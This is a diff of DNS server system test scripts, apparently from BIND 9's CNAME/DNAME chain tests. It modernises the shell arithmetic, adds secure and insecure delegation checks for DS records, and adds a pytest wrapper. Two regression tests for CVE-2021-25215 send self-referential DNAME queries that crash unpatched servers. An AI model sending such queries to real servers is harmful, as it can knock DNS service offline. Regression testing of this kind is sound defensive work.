 echo_i "checking (too) long DNAME from recursive with cached DNAME ($n)"
 ret=0
 $RNDCCMD 10.53.0.7 null --- start test$n --- 2>&1 | sed 's/^/ns7 /' | cat_i
@@ -69,9 +75,9 @@ $DIG $DIGOPTS 01234567890123456789012345678901234567890123456789.longlonglonglon
 grep "status: YXDOMAIN" dig.out.ns4.cachedtoolong > /dev/null || ret=1
 grep '^long-dname\.example\..*DNAME.*long' dig.out.ns4.cachedtoolong > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking (too) long DNAME from recursive without cached DNAME ($n)"
 ret=0
 $RNDCCMD 10.53.0.7 null --- start test$n --- 2>&1 | sed 's/^/ns7 /' | cat_i
@@ -79,7 +85,7 @@ $DIG $DIGOPTS 01234567890123456789012345678901234567890123456789.longlonglonglon
 grep "status: YXDOMAIN" dig.out.ns4.uncachedtoolong > /dev/null || ret=1
 grep '^toolong-dname\.example\..*DNAME.*long' dig.out.ns4.uncachedtoolong > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 find_records() {
 	owner_name="$1"
@@ -121,14 +127,45 @@ ensure_no_ds_in_bitmap() {
 	find_records "$owner_name" "$rr_type" "$file" | awk '{ for (i='"$start_index"'; i<=NF; i++) if ($i == "DS") exit 1 }'
 }
 
-n=`expr $n + 1`
-echo_i "checking delegation prepared using CNAME chaining, NSEC ($n)"
+n=$((n + 1))
+echo_i "checking secure delegation prepared using CNAME chaining ($n)"
+ret=0
+# QNAME exists, so the AUTHORITY section should only contain an NS RRset and a
+# DS RRset.
+$DIG $DIGOPTS @10.53.0.2 cname.wildcard-secure.example A +norec +dnssec > dig.out.2.$n 2>&1 || ret=1
+# Ensure that the AUTHORITY section contains the expected NS and DS RRsets.
+exactly_one_record_exists_for "delegation.wildcard-secure.example." NS dig.out.2.$n || ret=1
+exactly_one_record_exists_for "delegation.wildcard-secure.example." DS dig.out.2.$n || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking secure delegation prepared using wildcard expansion + CNAME chaining ($n)"
+ret=0
+# QNAME does not exist, so the AUTHORITY section should contain an NS RRset, an
+# NSEC record proving nonexistence of QNAME, and a DS RRset at the zone cut.
+$DIG $DIGOPTS @10.53.0.2 a-nonexistent-name.wildcard-secure.example A +norec +dnssec > dig.out.2.$n 2>&1 || ret=1
+# Ensure that the AUTHORITY section contains the expected NS and DS RRsets.
+exactly_one_record_exists_for "delegation.wildcard-secure.example." NS dig.out.2.$n || ret=1
+exactly_one_record_exists_for "delegation.wildcard-secure.example." DS dig.out.2.$n || ret=1
+# Check NSEC records in the AUTHORITY section.
+no_records_exist_for "wildcard-secure.example." NSEC dig.out.2.$n || ret=1
+exactly_one_record_exists_for "*.wildcard-secure.example." NSEC dig.out.2.$n || ret=1
+no_records_exist_for "cname.wildcard-secure.example." NSEC dig.out.2.$n || ret=1
+no_records_exist_for "delegation.wildcard-secure.example." NSEC dig.out.2.$n || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking insecure delegation prepared using CNAME chaining, NSEC ($n)"
 ret=0
 # QNAME exists, so the AUTHORITY section should only contain an NS RRset and a
 # single NSEC record proving nonexistence of a DS RRset at the zone cut.
-$DIG $DIGOPTS @10.53.0.2 cname.wildcard-nsec.example A +norec +dnssec > dig.out.2.$n 2>&1
-# Ensure that the AUTHORITY section contains an NS RRset.
+$DIG $DIGOPTS @10.53.0.2 cname.wildcard-nsec.example A +norec +dnssec > dig.out.2.$n 2>&1 || ret=1
+# Ensure that the AUTHORITY section contains an NS RRset without an associated
+# DS RRset.
 exactly_one_record_exists_for "delegation.wildcard-nsec.example." NS dig.out.2.$n || ret=1
+no_records_exist_for "delegation.wildcard-nsec.example." DS dig.out.2.$n || ret=1
 # Check NSEC records in the AUTHORITY section.
 no_records_exist_for "wildcard-nsec.example." NSEC dig.out.2.$n || ret=1
 no_records_exist_for "*.wildcard-nsec.example." NSEC dig.out.2.$n || ret=1
@@ -138,17 +175,19 @@ exactly_one_record_exists_for "delegation.wildcard-nsec.example." NSEC dig.out.2
 # type bit map.
 ensure_no_ds_in_bitmap "delegation.wildcard-nsec.example." NSEC dig.out.2.$n || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "checking delegation prepared using wildcard expansion + CNAME chaining, NSEC, QNAME #1 ($n)"
+n=$((n + 1))
+echo_i "checking insecure delegation prepared using wildcard expansion + CNAME chaining, NSEC, QNAME #1 ($n)"
 ret=0
 # QNAME does not exist, so the AUTHORITY section should contain an NS RRset and
 # NSEC records proving nonexistence of both QNAME and a DS RRset at the zone
 # cut.  In this test case, these two NSEC records are different.
-$DIG $DIGOPTS @10.53.0.2 a-nonexistent-name.wildcard-nsec.example A +norec +dnssec > dig.out.2.$n 2>&1
-# Ensure that the AUTHORITY section contains an NS RRset.
+$DIG $DIGOPTS @10.53.0.2 a-nonexistent-name.wildcard-nsec.example A +norec +dnssec > dig.out.2.$n 2>&1 || ret=1
+# Ensure that the AUTHORITY section contains an NS RRset without an associated
+# DS RRset.
 exactly_one_record_exists_for "delegation.wildcard-nsec.example." NS dig.out.2.$n || ret=1
+no_records_exist_for "delegation.wildcard-nsec.example." DS dig.out.2.$n || ret=1
 # Check NSEC records in the AUTHORITY section.
 no_records_exist_for "wildcard-nsec.example." NSEC dig.out.2.$n || ret=1
 exactly_one_record_exists_for "*.wildcard-nsec.example." NSEC dig.out.2.$n || ret=1
@@ -158,18 +197,20 @@ exactly_one_record_exists_for "delegation.wildcard-nsec.example." NSEC dig.out.2
 # type bit map.
 ensure_no_ds_in_bitmap "delegation.wildcard-nsec.example." NSEC dig.out.2.$n || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "checking delegation prepared using wildcard expansion + CNAME chaining, NSEC, QNAME #2 ($n)"
+n=$((n + 1))
+echo_i "checking insecure delegation prepared using wildcard expansion + CNAME chaining, NSEC, QNAME #2 ($n)"
 ret=0
 # QNAME does not exist, so the AUTHORITY section should contain an NS RRset and
 # NSEC records proving nonexistence of both QNAME and a DS RRset at the zone
 # cut.  In this test case, the same NSEC record proves nonexistence of both the
 # QNAME and the DS RRset at the zone cut.
-$DIG $DIGOPTS @10.53.0.2 z-nonexistent-name.wildcard-nsec.example A +norec +dnssec > dig.out.2.$n 2>&1
-# Ensure that the AUTHORITY section contains an NS RRset.
+$DIG $DIGOPTS @10.53.0.2 z-nonexistent-name.wildcard-nsec.example A +norec +dnssec > dig.out.2.$n 2>&1 || ret=1
+# Ensure that the AUTHORITY section contains an NS RRset without an associated
+# DS RRset.
 exactly_one_record_exists_for "delegation.wildcard-nsec.example." NS dig.out.2.$n || ret=1
+no_records_exist_for "delegation.wildcard-nsec.example." DS dig.out.2.$n || ret=1
 # Check NSEC records in the AUTHORITY section.
 no_records_exist_for "wildcard-nsec.example." NSEC dig.out.2.$n || ret=1
 no_records_exist_for "*.wildcard-nsec.example." NSEC dig.out.2.$n || ret=1
@@ -179,7 +220,7 @@ exactly_one_record_exists_for "delegation.wildcard-nsec.example." NSEC dig.out.2
 # type bit map.
 ensure_no_ds_in_bitmap "delegation.wildcard-nsec.example." NSEC dig.out.2.$n || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Relevant NSEC3 hashes:
 #
@@ -201,14 +242,16 @@ status=`expr $status + $ret`
 #       $ nsec3hash - 1 0 z-nonexistent-name.wildcard-nsec3.example.
 #       SG2DEHEAOGCKP7FTNQAUVC3I3TIPJH0J (salt=-, hash=1, iterations=0)
 
-n=`expr $n + 1`
-echo_i "checking delegation prepared using CNAME chaining, NSEC3 ($n)"
+n=$((n + 1))
+echo_i "checking insecure delegation prepared using CNAME chaining, NSEC3 ($n)"
 ret=0
 # QNAME exists, so the AUTHORITY section should only contain an NS RRset and a
 # single NSEC3 record proving nonexistence of a DS RRset at the zone cut.
-$DIG $DIGOPTS @10.53.0.2 cname.wildcard-nsec3.example A +norec +dnssec > dig.out.2.$n 2>&1
-# Ensure that the AUTHORITY section contains an NS RRset.
+$DIG $DIGOPTS @10.53.0.2 cname.wildcard-nsec3.example A +norec +dnssec > dig.out.2.$n 2>&1 || ret=1
+# Ensure that the AUTHORITY section contains an NS RRset without an associated
+# DS RRset.
 exactly_one_record_exists_for "delegation.wildcard-nsec3.example." NS dig.out.2.$n || ret=1
+no_records_exist_for "delegation.wildcard-nsec3.example." DS dig.out.2.$n || ret=1
 # Check NSEC3 records in the AUTHORITY section.
 no_records_exist_for "38IVP9CN0LBISO6H3V5REQCKMTHLI5AN.wildcard-nsec3.example." NSEC3 dig.out.2.$n || ret=1
 no_records_exist_for "3DV6GNNVR0O8LA4DC4CHL2JTVNHT8Q1D.wildcard-nsec3.example." NSEC3 dig.out.2.$n || ret=1
@@ -218,17 +261,19 @@ no_records_exist_for "Q64D8L8HLSB3L98S59PM8OSSMI7SMQA2.wildcard-nsec3.example."
 # the type bit map.
 ensure_no_ds_in_bitmap "AVKOGGGVJHFSLQA68TILKFKJ94AV4MNC.wildcard-nsec3.example." NSEC3 dig.out.2.$n || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "checking delegation prepared using wildcard expansion + CNAME chaining, NSEC3, QNAME #1 ($n)"
+n=$((n + 1))
+echo_i "checking insecure delegation prepared using wildcard expansion + CNAME chaining, NSEC3, QNAME #1 ($n)"
 ret=0
 # QNAME does not exist, so the AUTHORITY section should contain an NS RRset and
 # NSEC3 records proving nonexistence of both QNAME and a DS RRset at the zone
 # cut.  In this test case, these two NSEC3 records are different.
-$DIG $DIGOPTS @10.53.0.2 z-nonexistent-name.wildcard-nsec3.example A +norec +dnssec > dig.out.2.$n 2>&1
-# Ensure that the AUTHORITY section contains an NS RRset.
+$DIG $DIGOPTS @10.53.0.2 z-nonexistent-name.wildcard-nsec3.example A +norec +dnssec > dig.out.2.$n 2>&1 || ret=1
+# Ensure that the AUTHORITY section contains an NS RRset without an associated
+# DS RRset.
 exactly_one_record_exists_for "delegation.wildcard-nsec3.example." NS dig.out.2.$n || ret=1
+no_records_exist_for "delegation.wildcard-nsec3.example." DS dig.out.2.$n || ret=1
 # Check NSEC3 records in the AUTHORITY section.
 no_records_exist_for "38IVP9CN0LBISO6H3V5REQCKMTHLI5AN.wildcard-nsec3.example." NSEC3 dig.out.2.$n || ret=1
 no_records_exist_for "3DV6GNNVR0O8LA4DC4CHL2JTVNHT8Q1D.wildcard-nsec3.example." NSEC3 dig.out.2.$n || ret=1
@@ -238,18 +283,20 @@ exactly_one_record_exists_for "Q64D8L8HLSB3L98S59PM8OSSMI7SMQA2.wildcard-nsec3.e
 # the type bit map.
 ensure_no_ds_in_bitmap "AVKOGGGVJHFSLQA68TILKFKJ94AV4MNC.wildcard-nsec3.example." NSEC3 dig.out.2.$n || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "checking delegation prepared using wildcard expansion + CNAME chaining, NSEC3, QNAME #2 ($n)"
+n=$((n + 1))
+echo_i "checking insecure delegation prepared using wildcard expansion + CNAME chaining, NSEC3, QNAME #2 ($n)"
 ret=0
 # QNAME does not exist, so the AUTHORITY section should contain an NS RRset and
 # NSEC3 records proving nonexistence of both QNAME and a DS RRset at the zone
 # cut.  In this test case, the same NSEC3 record proves nonexistence of both the
 # QNAME and the DS RRset at the zone cut.
-$DIG $DIGOPTS @10.53.0.2 a-nonexistent-name.wildcard-nsec3.example A +norec +dnssec > dig.out.2.$n 2>&1
-# Ensure that the AUTHORITY section contains an NS RRset.
+$DIG $DIGOPTS @10.53.0.2 a-nonexistent-name.wildcard-nsec3.example A +norec +dnssec > dig.out.2.$n 2>&1 || ret=1
+# Ensure that the AUTHORITY section contains an NS RRset without an associated
+# DS RRset.
 exactly_one_record_exists_for "delegation.wildcard-nsec3.example." NS dig.out.2.$n || ret=1
+no_records_exist_for "delegation.wildcard-nsec3.example." DS dig.out.2.$n || ret=1
 # Check NSEC3 records in the AUTHORITY section.
 no_records_exist_for "38IVP9CN0LBISO6H3V5REQCKMTHLI5AN.wildcard-nsec3.example." NSEC3 dig.out.2.$n || ret=1
 no_records_exist_for "3DV6GNNVR0O8LA4DC4CHL2JTVNHT8Q1D.wildcard-nsec3.example." NSEC3 dig.out.2.$n || ret=1
@@ -259,7 +306,7 @@ no_records_exist_for "Q64D8L8HLSB3L98S59PM8OSSMI7SMQA2.wildcard-nsec3.example."
 # the type bit map.
 ensure_no_ds_in_bitmap "AVKOGGGVJHFSLQA68TILKFKJ94AV4MNC.wildcard-nsec3.example." NSEC3 dig.out.2.$n || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Relevant NSEC3 hashes:
 #
@@ -284,14 +331,16 @@ status=`expr $status + $ret`
 #       $ nsec3hash - 1 0 z-nonexistent-name.wildcard-nsec3-optout.example.
 #       V7OTS4791T9SU0HKVL93EVNAJ9JH2CH3 (salt=-, hash=1, iterations=0)
 
-n=`expr $n + 1`
-echo_i "checking delegation prepared using CNAME chaining, NSEC3 with opt-out ($n)"
+n=$((n + 1))
+echo_i "checking insecure delegation prepared using CNAME chaining, NSEC3 with opt-out ($n)"
 ret=0
 # QNAME exists, so the AUTHORITY section should only contain an NS RRset and a
 # single NSEC3 record proving nonexistence of a DS RRset at the zone cut.
-$DIG $DIGOPTS @10.53.0.2 cname.wildcard-nsec3-optout.example A +norec +dnssec > dig.out.2.$n 2>&1
-# Ensure that the AUTHORITY section contains an NS RRset.
+$DIG $DIGOPTS @10.53.0.2 cname.wildcard-nsec3-optout.example A +norec +dnssec > dig.out.2.$n 2>&1 || ret=1
+# Ensure that the AUTHORITY section contains an NS RRset without an associated
+# DS RRset.
 exactly_one_record_exists_for "delegation.wildcard-nsec3-optout.example." NS dig.out.2.$n || ret=1
+no_records_exist_for "delegation.wildcard-nsec3-optout.example." DS dig.out.2.$n || ret=1
 # Check NSEC3 records in the AUTHORITY section.
 no_records_exist_for "2JGSPT59VJ7R9SQB5B9P6HPM5JBATOOO.wildcard-nsec3-optout.example." NSEC3 dig.out.2.$n || ret=1
 no_records_exist_for "OKRFKC9SS1O60E8U2980UD62MUSMKGUG.wildcard-nsec3-optout.example." NSEC3 dig.out.2.$n || ret=1
@@ -300,17 +349,19 @@ exactly_one_record_exists_for "SS5M1RUBSGMANEQ1VLRDDEC6SOAT7HNI.wildcard-nsec3-o
 # the type bit map.
 ensure_no_ds_in_bitmap "SS5M1RUBSGMANEQ1VLRDDEC6SOAT7HNI.wildcard-nsec3-optout.example." NSEC3 dig.out.2.$n || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "checking delegation prepared using wildcard expansion + CNAME chaining, NSEC3 with opt-out, QNAME #1 ($n)"
+n=$((n + 1))
+echo_i "checking insecure delegation prepared using wildcard expansion + CNAME chaining, NSEC3 with opt-out, QNAME #1 ($n)"
 ret=0
 # QNAME does not exist, so the AUTHORITY section should contain an NS RRset and
 # NSEC3 records proving nonexistence of both QNAME and a DS RRset at the zone
 # cut.  In this test case, these two NSEC3 records are different.
-$DIG $DIGOPTS @10.53.0.2 b-nonexistent-name.wildcard-nsec3-optout.example A +norec +dnssec > dig.out.2.$n 2>&1
-# Ensure that the AUTHORITY section contains an NS RRset.
+$DIG $DIGOPTS @10.53.0.2 b-nonexistent-name.wildcard-nsec3-optout.example A +norec +dnssec > dig.out.2.$n 2>&1 || ret=1
+# Ensure that the AUTHORITY section contains an NS RRset without an associated
+# DS RRset.
 exactly_one_record_exists_for "delegation.wildcard-nsec3-optout.example." NS dig.out.2.$n || ret=1
+no_records_exist_for "delegation.wildcard-nsec3-optout.example." DS dig.out.2.$n || ret=1
 # Check NSEC3 records in the AUTHORITY section.
 exactly_one_record_exists_for "2JGSPT59VJ7R9SQB5B9P6HPM5JBATOOO.wildcard-nsec3-optout.example." NSEC3 dig.out.2.$n || ret=1
 no_records_exist_for "OKRFKC9SS1O60E8U2980UD62MUSMKGUG.wildcard-nsec3-optout.example." NSEC3 dig.out.2.$n || ret=1
@@ -319,18 +370,20 @@ exactly_one_record_exists_for "SS5M1RUBSGMANEQ1VLRDDEC6SOAT7HNI.wildcard-nsec3-o
 # the type bit map.
 ensure_no_ds_in_bitmap "SS5M1RUBSGMANEQ1VLRDDEC6SOAT7HNI.wildcard-nsec3-optout.example." NSEC3 dig.out.2.$n || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "checking delegation prepared using wildcard expansion + CNAME chaining, NSEC3 with opt-out, QNAME #2 ($n)"
+n=$((n + 1))
+echo_i "checking insecure delegation prepared using wildcard expansion + CNAME chaining, NSEC3 with opt-out, QNAME #2 ($n)"
 ret=0
 # QNAME does not exist, so the AUTHORITY section should contain an NS RRset and
 # NSEC3 records proving nonexistence of both QNAME and a DS RRset at the zone
 # cut.  In this test case, the same NSEC3 record proves nonexistence of both the
 # QNAME and the DS RRset at the zone cut.
-$DIG $DIGOPTS @10.53.0.2 z-nonexistent-name.wildcard-nsec3-optout.example A +norec +dnssec > dig.out.2.$n 2>&1
-# Ensure that the AUTHORITY section contains an NS RRset.
+$DIG $DIGOPTS @10.53.0.2 z-nonexistent-name.wildcard-nsec3-optout.example A +norec +dnssec > dig.out.2.$n 2>&1 || ret=1
+# Ensure that the AUTHORITY section contains an NS RRset without an associated
+# DS RRset.
 exactly_one_record_exists_for "delegation.wildcard-nsec3-optout.example." NS dig.out.2.$n || ret=1
+no_records_exist_for "delegation.wildcard-nsec3-optout.example." DS dig.out.2.$n || ret=1
 # Check NSEC3 records in the AUTHORITY section.
 no_records_exist_for "2JGSPT59VJ7R9SQB5B9P6HPM5JBATOOO.wildcard-nsec3-optout.example." NSEC3 dig.out.2.$n || ret=1
 no_records_exist_for "OKRFKC9SS1O60E8U2980UD62MUSMKGUG.wildcard-nsec3-optout.example." NSEC3 dig.out.2.$n || ret=1
@@ -339,17 +392,17 @@ exactly_one_record_exists_for "SS5M1RUBSGMANEQ1VLRDDEC6SOAT7HNI.wildcard-nsec3-o
 # the type bit map.
 ensure_no_ds_in_bitmap "SS5M1RUBSGMANEQ1VLRDDEC6SOAT7HNI.wildcard-nsec3-optout.example." NSEC3 dig.out.2.$n || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking CNAME to DNAME from authoritative ($n)"
 ret=0
 $DIG $DIGOPTS cname.example @10.53.0.2 a > dig.out.ns2.cname
 grep "status: NOERROR" dig.out.ns2.cname > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking CNAME to DNAME from recursive"
 ret=0
 $RNDCCMD 10.53.0.7 null --- start test$n --- 2>&1 | sed 's/^/ns7 /' | cat_i
@@ -360,9 +413,9 @@ grep '^cnamedname.example.' dig.out.ns4.cname > /dev/null || ret=1
 grep '^a.cnamedname.example.' dig.out.ns4.cname > /dev/null || ret=1
 grep '^a.target.example.' dig.out.ns4.cname > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking DNAME is returned with synthesized CNAME before DNAME ($n)"
 ret=0
 $RNDCCMD 10.53.0.7 null --- start test$n --- 2>&1 | sed 's/^/ns7 /' | cat_i
@@ -371,9 +424,9 @@ grep "status: NXDOMAIN" dig.out.test$n > /dev/null || ret=1
 grep '^name.synth-then-dname\.example\.broken\..*CNAME.*name.$' dig.out.test$n > /dev/null || ret=1
 grep '^synth-then-dname\.example\.broken\..*DNAME.*\.$' dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking DNAME is returned with CNAME to synthesized CNAME before DNAME ($n)"
 ret=0
 $RNDCCMD 10.53.0.7 null --- start test$n --- 2>&1 | sed 's/^/ns7 /' | cat_i
@@ -383,9 +436,9 @@ grep '^cname-to-synth2-then-dname\.example\.broken\..*CNAME.*name\.synth2-then-d
 grep '^name\.synth2-then-dname\.example\.broken\..*CNAME.*name.$' dig.out.test$n > /dev/null || ret=1
 grep '^synth2-then-dname\.example\.broken\..*DNAME.*\.$' dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking CNAME loops are detected ($n)"
 ret=0
 $RNDCCMD 10.53.0.7 null --- start test$n --- 2>&1 | sed 's/^/ns7 /' | cat_i
@@ -393,9 +446,9 @@ $DIG $DIGOPTS @10.53.0.7 loop.example > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 17" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking CNAME to external delegated zones is handled ($n)"
 ret=0
 $RNDCCMD 10.53.0.7 null --- start test$n --- 2>&1 | sed 's/^/ns7 /' | cat_i
@@ -403,9 +456,9 @@ $DIG $DIGOPTS @10.53.0.7 a.example > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 2" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking CNAME to internal delegated zones is handled ($n)"
 ret=0
 $RNDCCMD 10.53.0.7 null --- start test$n --- 2>&1 | sed 's/^/ns7 /' | cat_i
@@ -413,27 +466,27 @@ $DIG $DIGOPTS @10.53.0.7 b.example > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 2" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking CNAME to signed external delegation is handled ($n)"
 ret=0
 $RNDCCMD 10.53.0.7 null --- start test$n --- 2>&1 | sed 's/^/ns7 /' | cat_i
 $DIG $DIGOPTS @10.53.0.7 c.example > dig.out.$n
 grep "status: NOERROR" dig.out.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking CNAME to signed internal delegation is handled ($n)"
 ret=0
 $RNDCCMD 10.53.0.7 null --- start test$n --- 2>&1 | sed 's/^/ns7 /' | cat_i
 $DIG $DIGOPTS @10.53.0.7 d.example > dig.out.$n
 grep "status: NOERROR" dig.out.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking CNAME chains in various orders ($n)"
 ret=0
 $RNDCCMD 10.53.0.7 null --- start test$n - step 1 --- 2>&1 | sed 's/^/ns7 /' | cat_i
@@ -472,9 +525,9 @@ $DIG $DIGOPTS @10.53.0.7 test.domain.nil > dig.out.6.$n 2>&1
 grep 'status: NOERROR' dig.out.6.$n > /dev/null 2>&1 || ret=1
 grep 'ANSWER: 2' dig.out.6.$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that only the initial CNAME is cached ($n)"
 ret=0
 $RNDCCMD 10.53.0.7 flush 2>&1 | sed 's/^/ns7 /' | cat_i
@@ -483,12 +536,12 @@ $RNDCCMD 10.53.0.7 null --- start test$n --- 2>&1 | sed 's/^/ns7 /' | cat_i
 $DIG $DIGOPTS @10.53.0.7 test.domain.nil > dig.out.1.$n 2>&1
 sleep 1
 $DIG $DIGOPTS +noall +answer @10.53.0.7 cname1.domain.nil > dig.out.2.$n 2>&1
-ttl=`awk '{print $2}' dig.out.2.$n`
+ttl=$(awk '{print $2}' dig.out.2.$n)
 [ "$ttl" -eq 86400 ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking DNAME chains in various orders ($n)"
 ret=0
 $RNDCCMD 10.53.0.7 null --- start test$n - step 1 --- 2>&1 | sed 's/^/ns7 /' | cat_i
@@ -511,9 +564,9 @@ grep 'status: NOERROR' dig.out.3.$n > /dev/null 2>&1 || ret=1
 grep 'ANSWER: 3' dig.out.3.$n > /dev/null 2>&1 || ret=1
 $RNDCCMD 10.53.0.7 flush 2>&1 | sed 's/^/ns7 /' | cat_i
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking external CNAME/DNAME chains in various orders ($n)"
 ret=0
 $RNDCCMD 10.53.0.7 null --- start test$n - step 1 --- 2>&1 | sed 's/^/ns7 /' | cat_i
@@ -534,18 +587,18 @@ $DIG $DIGOPTS @10.53.0.7 test.domain.nil > dig.out.3.$n 2>&1
 grep 'status: SERVFAIL' dig.out.3.$n > /dev/null 2>&1 || ret=1
 $RNDCCMD 10.53.0.7 flush 2>&1 | sed 's/^/ns7 /' | cat_i
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking explicit DNAME query ($n)"
 ret=0
 $RNDCCMD 10.53.0.7 null --- start test$n --- 2>&1 | sed 's/^/ns7 /' | cat_i
 $DIG $DIGOPTS @10.53.0.7 dname short-dname.example > dig.out.7.$n 2>&1
 grep 'status: NOERROR' dig.out.7.$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking DNAME via ANY query ($n)"
 ret=0
 $RNDCCMD 10.53.0.7 null --- start test$n --- 2>&1 | sed 's/^/ns7 /' | cat_i
@@ -553,25 +606,25 @@ $RNDCCMD 10.53.0.7 flush 2>&1 | sed 's/^/ns7 /' | cat_i
 $DIG $DIGOPTS @10.53.0.7 any short-dname.example > dig.out.7.$n 2>&1
 grep 'status: NOERROR' dig.out.7.$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Regression test for CVE-2021-25215 (authoritative server).
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking DNAME resolution via itself (authoritative) ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 DNAME self.domain0.self.domain0.nil. > dig.out.2.$n 2>&1
 grep 'status: NOERROR' dig.out.2.$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Regression test for CVE-2021-25215 (recursive resolver).
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking DNAME resolution via itself (recursive) ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.7 DNAME self.example.self.example.dname. > dig.out.7.$n 2>&1
 grep 'status: NOERROR' dig.out.7.$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/chain/tests_sh_chain.py b/bin/tests/system/chain/tests_sh_chain.py
new file mode 100644
index 0000000000..ca3c05794e
--- /dev/null
+++ b/bin/tests/system/chain/tests_sh_chain.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_chain(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/checkconf/altdb.conf b/bin/tests/system/checkconf/altdb.conf
index 0ee9680dcb..1d8aded687 100644
--- a/bin/tests/system/checkconf/altdb.conf
+++ b/bin/tests/system/checkconf/altdb.conf
@@ -1,9 +1,11 @@
 /*
